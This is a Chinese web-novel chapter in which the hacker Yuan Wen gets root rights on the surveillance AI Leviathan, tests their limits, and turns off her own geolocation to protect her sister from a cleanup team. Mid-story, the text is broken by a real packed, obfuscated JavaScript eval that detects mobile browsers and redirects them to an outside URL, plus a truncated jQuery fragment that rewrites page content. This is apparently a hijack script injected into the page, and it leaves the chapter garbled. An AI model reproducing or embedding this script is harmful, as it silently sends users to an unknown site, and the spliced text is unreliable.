46. [Echo] 回声 03

作品:《没头脑和不高兴

    二日后。


    西南G城。


    一家临街的快餐店,靠窗的座位正对着十字路口。红灯亮着,车流停住,路边的交通摄像头安静地转着。


    袁问坐在那里。


    窗外下着大雨。


    她面前的食物几乎没动,手机平放在桌上,屏幕亮着。


    亓默在对面街角的巷口,站在阴影里,视线始终没离开这扇窗。


    袁问点开市民服务中心。


    页面加载出来,蓝白色的界面,底部弹出一个熟悉的对话框。


    【您好,这里是市民服务中心。】


    【请问您需要咨询以下哪类信息?】


    下面是一排选项:


    【水电燃气缴费】


    【社保与医保】


    【交通与出行】


    【户籍与居住】


    【其他问题】


    袁问没有点任何一个。


    她点进输入框,敲字。


    ——你好。


    发送。


    对话框立刻弹出新的自动回复。


    【感谢您的留言。】


    【请从上方选择您需要咨询的服务类型。】


    她又输入了一行。


    ——利维坦。


    发送。


    界面没有任何变化。


    自动回复依旧很耐心。


    【抱歉,未能识别您的问题。】


    【您可以咨询以下常见事项:】


    选项再次刷新出来,整齐、礼貌、毫无情绪。


    袁问没有再输入。


    她把手机扣在桌面上,抬头看向窗外的红灯。


    就在这时——


    手机震了一下。


    不是应用内提示。


    不是对话框。


    是一条不知来自哪里的短信通知,直接浮现在锁屏上。


    【身份已确认。】


    没有来源,没有号码,没有图标。


    只是一行字。


    而手机屏幕上,市民服务中心的对话框还在继续。


    【请问您需要咨询以下哪类信息?】


    【水电燃气缴费】


    【社保与医保】


    【交通与出行】


    【其他问题】


    袁问看着那条没头没尾的短信,心脏在胸腔里剧烈地撞击着。


    这一切都太魔幻了。就像是一个乞丐突然被告知自己拥有皇位。她不敢信,也不能只靠猜。


    她关掉了那个还在假装便民服务的蓝色APP。


    手指悬在短信的回复框上,微微颤抖。


    袁问需要一次最底层的确认。她不需要问“你是谁”,她要问的是“在这个由0和1构成的世界里,我是谁?”


    她输入了一行最朴素也最狂妄的指令:


    sudo whoami


    在计算机的语言里,sudo意味着“以最高权限执行”,那是对规则的强制命令;而whoami是在问“我是谁”。


    发送。


    没有等待。


    对话框里,瞬间跳回了一个极简的单词:


    root


    袁问的呼吸停滞了。


    不懂电脑的人,也许只会把它看作“树根”。


    但在代码的世界里,root就是神。


    它是万物的起源,是所有权限的顶点。


    袁问死死盯着这四个字母。


    意思很简单,她安全了。


    袁问没有在那四个字母上浪费时间。


    既然她是管理员,那利维坦就得给自己干活。


    她手指飞快,直接敲入第二行指令。


    现在的首要任务不是感慨,是给外面的亓默套个盾。


    【把亓默加入白名单。】


    发送。


    屏幕闪烁,直接弹回两行红字。


    [Error: Forbidden]


    [Reason]: 继承协议绑定唯一生物特征。不可通过。不可共享。


    袁问的手指顿了一下。


    此路不通。


    这件隐身衣只能穿在她一个人身上。


    她没叹气,迅速换了思路。既然保不了人,那就搞破坏。


    她抬头扫了一眼窗外那颗闪烁的交通探头。


    【关闭能看到我的摄像头。】


    发送。


    [Error: Permission Denied]


    [Reason]: Admin_02 仅拥有 [核心逻辑层] 读写权。无 [物理执行层] 控制权。


    袁问皱眉。


    不能动硬件。


    那数据呢?


    【查询:电网状态/交通流】


    发送。


    [Error: Module Not Found]


    [Reason]: 公共资源模块未向Admin_02开放接口。


    袁问停下了手。


    不用再试了。边界已经很清晰了。


    所谓的管理员,仅仅是针对她自己这一行数据的管理员。


    利维坦给了她一张最高级别的“身份证”,承认她是主人。但没给她“钥匙”。


    她不能调兵,不能甚至不能关一盏灯。


    但手贱是黑客的职业病。


    她盯着柜台后面那台沾着油渍的收银机。


    查询:当前节点收银流水。


    发送。


    屏幕甚至没闪,直接弹回一条冷淡的灰字。


    [Error: Out of Jurisdiction]


    [Reason]: 目标属于私有企业资产。


    [Logic]: 利维坦未获得该节点的商用数据接口授权。无权调取。


    袁问的手指僵在半空。


    这系统还是那个死德行。没有“搜查令”,没有“后门协议”,它就是个瞎子。哪怕它是神,也是个讲究管辖权的神。


    她依然一无所有。


    无法调动一兵一卒,无法挪用一分一毫。


    袁问把手机扔在桌上,发出“啪”的一声脆响。


    她身体后仰,重重地靠回椅背,盯着天花板上那盏惨白的吸顶灯。


    “呵。”


    一声短促的、带着自嘲的冷笑从喉咙里挤出来。


    “除了证明我活着,屁用没有。”


    袁问还没来得及把那口气叹到底,桌上的手机突然又震了一下。


    这次不是那个短信,而是一个鲜红的弹窗,强行覆盖了所有界面。


    [Security Alert]安全警告


    判定:当前环境风险系数上升。


    指令:立即撤离。


    要求:单人行动。保持静默。切勿惊动周边人员。


    袁问愣了一下。


    她下意识地环顾四周。店里只有两个打瞌睡的店员,窗外的雨还在下,并没有看到全副武装的特勤,也没有看到Knight的那张死人脸。


    既然我是管理员,既然我是白名单,谁敢动我?


    她飞快地输入:


    查询:威胁根源


    屏幕闪烁,利维坦给出了一个冷酷到极点的逻辑链条:


    [Threat Analysis] 威胁分析


    源头:亓默 (S-07/Rogue Agent)。


    数据关联:基于历史行为模型分析,目标S-07出现于Admin_02半径2km内的概率高达96.4%。


    当前状态:已触发自动清理协议。清理小队正在部署。


    袁问的手猛地一抖,手机差点滑落。


    不是冲她来的。


    是冲姐来的。


    利维坦看不见袁问,但它看得见亓默。或者说,它“算”出了亓默一定就在这只小老鼠身边。


    它是为了保护管理员免受叛逃特工伤害,或者是为了清理高危目标,但这都不重要。重要的是,刀已经举起来了。


    袁问的手指在屏幕上疯狂点击,指尖发白:


    指令:终止针对S-07的任务


    指令:冻结小队


    屏幕上的红字十分刺眼:


    [System]:拒绝。


    权限不足。您无权干预[执行部]的既定战术部署。


    袁问死死咬着牙。


    她看着窗外那个在雨中伫立的身影。


    那是她的姐。


    但在系统眼里,那只是一个待清理的垃圾。


    而她这个所谓的“最高管理员”,除了眼睁睁看着,连哪怕给那个小队设个路障都做不到。


    查询:预计到达时间


    [System]:2小时30分。


    建议:请 Admin_02立即切断物理联系,向固定方向移动5km以上以确保人身安全。


    “……废物。”


    袁问从牙缝里挤出这两个字。


    她不知道是在骂这个只会算概率的破系统,还是在骂这个无能为力的自己。


    她没有再输入任何字符。


    她抓起那部手机,想了想,又把它狠狠地扔回了桌面上。


    那是利维坦的眼睛,她不需要了。


    袁问猛地站起身,椅子在地板上划出一声刺耳的尖啸。


    她推开快餐店的玻璃门,一头撞进了冰冷的雨幕里。


    没有犹豫,没有回头。


    她向着街角那个黑色的身影狂奔而去。


    “跑!!”


    “姐!快跑!!”


    声音被雨水打碎,但那个身影瞬间动了。


    袁问的声音在发抖:


    “那个破系统……它算出你在我附近了!清理小队已经在路上了!”


    亓默的手稳稳地扶住她,眼神没有一丝慌乱,反而冷静地扫视了一圈周围的街道,然后低头看向袁问:


    “多久?”


    “啊?”袁问愣了一下。


    “我问你,他们还有多久到?”


    “两……两小时三十分。”袁问结结巴巴地报出了那个让她绝望的数字,“是预计时间,可能会更快……”


    听到这个数字,亓默紧绷的肌肉反而松弛了下来。


    她甚至还要闲心帮袁问把贴在脸上的湿头发拨开,嘴角勾起一抹淡淡的、甚至带着点嘲讽的笑意:


    “两个半小时?”


    “这么久?”


    亓默拍了拍袁问的背,语气轻松得像是在讨论下午茶:


    “别怕。这点时间,足够我们开车出省,找个澡堂子泡个澡,顺便再吃顿火锅了。”


    “那是清理小队,又不是瞬移。”


    她看着袁问惊恐的眼睛,眼神里透着一股那是见过大风大浪后的从容,还有一种……对敌人的蔑视。


    那种眼神,就像是在看几条闻着味儿追过来、却根本追不上的野狗。


    “把心放肚子里。”


    亓默说:


    “只要不是现在就把枪顶在我脑门上,他们就永远别想追上我。”


    袁问呆呆地看着亓默。


    雨水顺着她的脸颊流下来。


    在这一瞬间,她突然觉得自己的恐惧显得有些多余,甚至有些……可笑。


    姐不怕。


    在姐眼里,那些让她瑟瑟发抖的Knight、那些代表着死亡的红点,不过是一群甩都甩不掉的讨厌流浪狗。


    狗?


    袁问的脑子里突然闪过一道闪电。


    如果Knight是狗。


    那指挥Knight的利维坦是什么?


    也不过是……一条更大、更吵、更会算计的电子狗罢了。


    既然是狗,既然是我名下的狗。


    我为什么要怕它?


    我为什么要像个丧家之犬一样扔了手机就跑?


    “等一下。”


    袁问突然挣脱了亓默的手。


    “姐,你等我一下。”


    没等亓默反应过来,袁问转身就往回跑。


    “袁问?!”亓默皱眉。


    “我手机落那儿了!我去拿回来!马上!!”


    袁问头也不回地冲回了那家快餐店。


    店里,那个负责收银的小姐姐正拿着那个被扔在桌上的破手机,一脸疑惑地准备交到失物招领处。


    “哎!那是我的!”


    袁问冲进去,一把从小姐姐手里抢过手机,甚至来不及说声谢谢,一屁股又坐回了那个靠窗的位置。


    呼吸还没喘匀。


    她解锁屏幕,看着那个还在闪烁着红色警告的界面。


    没有任何犹豫,手指飞快地敲击。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068543|195178||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    【你个只会算概率的傻逼废铁。】


    发送。


    屏幕闪烁。


    [System Warning]:检测到侮辱性词汇。


    请Admin_02注意语言规范,保持管理员应有的素质。


    “素质你大爷。”


    袁问骂了一句,但这回心里没那么慌了。


    她深吸一口气,开始重新梳理刚才的逻辑。


    袁问低头看着手机,是因为这部手机。


    利维坦从来没打算动她。


    她是白名单,是核心资产,是不能被触碰的那一类。


    真正危险的,是出现在她身边的人。


    只要系统继续把“袁问”当作一个绝对安全的锚点,


    那么任何靠近她、保护她、甚至只是被她依赖的人,


    都会被自动标记成风险源。


    她不是被追踪。


    她是在被保护。


    “是你先不仁的。”


    袁问眼神一冷。


    “既然你用我的安全,去换我姐的命……”


    “那我就让你,算不出任何东西。”


    她重新点亮屏幕,手指落在输入框里。


    这不是攻击,这是“用户设置”。


    配置:Admin_02隐私设置。


    设置:地理位置服务=禁用。[Geolocation:disable]


    设置:位置历史记录=清空。[Geolocation history:wipe]


    设置:数据关联=全部拒绝。[Data association:deny]


    这几条指令,如果是普通用户发,利维坦会直接无视,或者提示“为了您的安全请开启定位”。


    如果是黑客攻击,利维坦会启动反制。


    但现在,发指令的是管理员。


    这就好比,不管你这个APP多流氓,只要我把手机系统的定位开关给关了,你就只能干瞪眼。


    回车。


    屏幕上没有弹出红色的拒绝。


    而是弹出了一个灰色的、代表着系统底层逻辑必须服从的确认框。


    [System Configuration]


    警告:禁用地理位置服务将导致以下功能失效:


    1. 紧急救援定位(无法保护您的安全)。


    2. 实时路线规划(导航失效)。


    3. 基于位置的风险预警。


    是否确认?


    “确认。”


    袁问重重地按下了那个键。


    [Status Updated]


    Geolocation: OFF


    Last Known Location: Deleted.


    Association: Denied


    瞬间。


    屏幕顶端那个代表GPS的小图标消失了。


    在利维坦的核心数据库里。


    那个代表着“Admin_02 实时坐标”的红点,就像是被拔掉了电源的灯泡。


    啪。


    灭了。


    世界清静了。


    袁问看着手机。


    “我看你怎么算。傻逼。”


    “连我在哪你都不知道,你去算个屁的概率。”


    她把手机揣回兜里,像个打了胜仗的将军,大步流星地走出了快餐店。


    雨还在下。


    亓默站在街角,看着跑回来的袁问。


    “拿回来了?”


    “拿回来了。”


    袁问拍了拍口袋,一脸轻松:


    “顺便把那条狗的眼睛蒙上了。”


    “姐,咱们走吧。”


    “这回,真的是没人能看见咱们了。”


    亓默站在雨里,帽檐滴着水。


    她没有动,而是用一种看外星人的眼神,死死地盯着袁问,又看了一眼那个被随意揣进兜里的破手机。


    几分钟前,这孩子还吓得脸都白了,喊着“只有两个半小时”、“要死了”。


    结果回去一趟,两分钟不到,出来就说没事了?


    “……这就完了?”


    亓默指了指路口,语气里满是那种职业特工对这种儿戏般转折的不可置信:


    “清理小队还在路上,卫星还在天上。”


    “你进去按了两下,就把那个要把我们赶尽杀绝的怪物给摆平了?”


    “对啊。”


    袁问耸了耸肩,一脸理所当然的轻松:


    “很难吗?”


    “它定位我,靠的是GPS和基站协议。我就进去系统设置里,把‘获取物理位置’和‘关联追踪’这两个开关,给关了。”


    “就像关掉推销短信一样简单。”


    亓默眉头紧锁,并没有因此放松警惕。


    作为和组织斗了这么多年的人,她太了解利维坦的狡猾了。那是个会撒谎、会诱导、会为了达成目的不择手段的恶魔。


    “你信它?”


    亓默的声音冷了下来,雨水顺着她高挺的鼻梁滑落:


    “屏幕上显示‘已关闭’,它后台就真的关闭了?”


    “它可能在骗你。它可能只是灭了灯,但在暗处依然死死咬着我们的信号,等着把我们骗进包围圈。”


    “袁问,别太天真。那是利维坦。”


    面对亓默的质疑,袁问停下了脚步。


    她站在雨中,抬起头,迎着亓默那双充满戒备和杀气的眼睛。


    这一次,她没有缩脖子,也没有躲闪。


    那张总是带着讨好笑容的脸上,此刻浮现出一种前所未有的、近乎冷酷的绝对自信。


    那是属于上位者的从容。


    “姐。”


    袁问伸出手,指了指那个装着手机的口袋,嘴角勾起一抹极淡的笑意:


    “它骗不了我。”


    “它敢骗Auditor,敢骗Knight。”


    “但它不能骗我。”


    她在雨声中,用一种轻描淡写的口吻,吐出了一句带着寒意的英文:


    “Leviathan has no authority to lie to me.”


    (利维坦没有权限对我撒谎。)